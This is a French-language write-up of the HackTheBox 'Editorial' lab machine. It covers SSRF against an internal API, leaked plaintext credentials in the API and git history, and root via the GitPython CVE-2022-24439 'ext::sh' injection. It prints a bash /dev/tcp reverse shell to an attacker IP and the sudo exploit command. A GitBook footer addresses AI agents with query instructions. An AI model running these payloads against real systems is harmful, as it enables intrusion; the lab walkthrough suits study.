> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Compte rendu Editorial HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Compétences :**

* SSRF
* Journal Git
* Git Python
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/c4860ea5e21e1dec5c0a23af699444b6d5509edd" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/7c26ec4c1848856bd688f313ee0dcaaf9602a459" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/b4d7ba19112ceaa1034a66893710001d8a97d9f7" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/b3b177bda77e6bc69ddb9b816ebf78e2d6e2df35" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/66b24d8b498ec6d08bdf165d0c2949c713056413" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/f4bc044302f45426241a20474fbd0eab7b97d7b5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0b37ffdea0c693f9371b4045a15ed0d069a61a1b" alt=""><figcaption></figcaption></figure>

## Vulnérabilité [SSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

Le bouton "Browse" nous permet de télécharger un fichier censé être une image représentant la couverture d'un livre. Le champ de texte « Cover URL linked to your book » permet quant à lui d'entrer une URL afin qu'elle puisse être consultée par le service et qu'une image puisse être téléversée.

<figure><img src="/files/b2fff39e479be29aaf737bef58bdbe0c6ef8fc5e" alt=""><figcaption></figcaption></figure>

#### **Ouverture** [**Burp Suite**](/fr/hacking-tools/web/burpsuite.md)**:**

Lorsqu'une image est téléversée sur le serveur, un lien vers son emplacement de stockage est fourni.

<figure><img src="/files/32728a6de08192cd194a11fb90927a908df7b2fa" alt=""><figcaption></figcaption></figure>

Nous lançons ensuite une attaque par force brute sur les 65 535 ports et constatons que seul le port 5000 renvoie une réponse différente.

<figure><img src="/files/28547caaf2d9c238802ab8749baa7d76b84e4881" alt=""><figcaption></figcaption></figure>

En examinant le contenu du port interne 5000, nous découvrons qu'il permet de télécharger un fichier.

<figure><img src="/files/ac1bfb0203f2bf1ac53a496c46ed65a00cea401e" alt=""><figcaption></figcaption></figure>

Ce fichier, au format JSON, répertorie les API internes avec leurs routes associées. Parmi elles, la `message/authors` route semble particulièrement critique.

<figure><img src="/files/662848f4044ae8b4c446c1033c56f28b340909b0" alt=""><figcaption></figcaption></figure>

Avec Burp Suite, nous accédons donc au fichier via le port 5000 à l'adresse suivante :

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/243517efaf41da056b927bc020a3aae7fc1abb8b" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/74c859754c1dca75b03c0f8bf6bfcdd05baa4487" alt=""><figcaption></figcaption></figure>

Dans ce fichier, nous trouvons également un identifiant et un mot de passe en clair `dev:dev080217_devAPI!@`

<figure><img src="/files/5d0768304d89eb5d5482eda4f18e75cb8a2f44bf" alt=""><figcaption></figcaption></figure>

Nous essayons ensuite de nous connecter à `SSH` via le port 22, qui est ouvert, et parvenons à obtenir le flag utilisateur.

<figure><img src="/files/f343a3b27b1b555f969428a58eb4db356166b912" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

#### Après avoir accédé au serveur Linux, il est recommandé d'exécuter les commandes suivantes dans le terminal afin d'optimiser l'efficacité et le confort de travail :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

En allant à la racine du système, nous constatons la présence de deux utilisateurs : **dev** et **prod**.

<figure><img src="/files/e1ec9064ae5d01459669e757f581d54e7bcea3b3" alt="" width="543"><figcaption></figcaption></figure>

L'utilisateur **dev** possède deux dossiers visibles et un dossier caché nommé « git ». En exécutant la `git log` commande, nous observons deux commits distincts.

<figure><img src="/files/d3e4d5a4b4603042ad6e8f5045b555dc74416add" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cca16c8a76f53a19ea03826968eca5166085515c" alt=""><figcaption></figcaption></figure>

Parmi ces commits, le mot de passe de l'utilisateur **prod** apparaît en clair : `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/c48676dd934755bb98241b05624d15e2dc7b3b20" alt=""><figcaption></figcaption></figure>

Nous nous connectons ensuite via SSH en tant qu'utilisateur **prod**.

<figure><img src="/files/e9728a27bb7f98d7ed463c8d5fe7d7672219668c" alt=""><figcaption></figcaption></figure>

### Sudoers :

En exécutant la `sudo -l` commande, nous découvrons que nous avons la possibilité d'exécuter un script en tant que **root**.

<figure><img src="/files/237884a70ee2ca9c7254f0a5610b4d7523d9f253" alt=""><figcaption></figcaption></figure>

Une version vulnérable de la bibliothèque Git, identifiée par la `clone_from` fonction, est présente. En affichant la liste des paquets Python avec `pip3 list`, nous remarquons que **GitPython 3.1.29** est installée, une version connue pour la vulnérabilité **CVE-2022-24439**, qui permet l'exécution de code arbitraire. Cette faille peut être exploitée comme suit :

<figure><img src="/files/aaf27e3d87c6a2caf479f9ce775c3f77b0a3fb0b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Nous allons créer un script d'exploitation dans le répertoire temporaire afin d'obtenir un shell inversé :

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/3ed955acf5819f123a23269e539ca675342dcd9b" alt=""><figcaption></figcaption></figure></div>

Puis, sur notre machine, nous écoutons sur le port 4444 à l'aide de **netcat**

<figure><img src="/files/f32c5f4dba9d21071e79abea31442746cc2a94bc" alt="" width="502"><figcaption></figcaption></figure>

Enfin, nous lançons le binaire avec **sudo**, en y ajoutant notre charge utile :

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Flag root : )

<div align="right"><figure><img src="/files/c13cf6b05fe81f53e730be5e265ec0afaf71910c" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/a5108b7f4d41892c6f4bdb7ed9a1b95b4fc39980" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
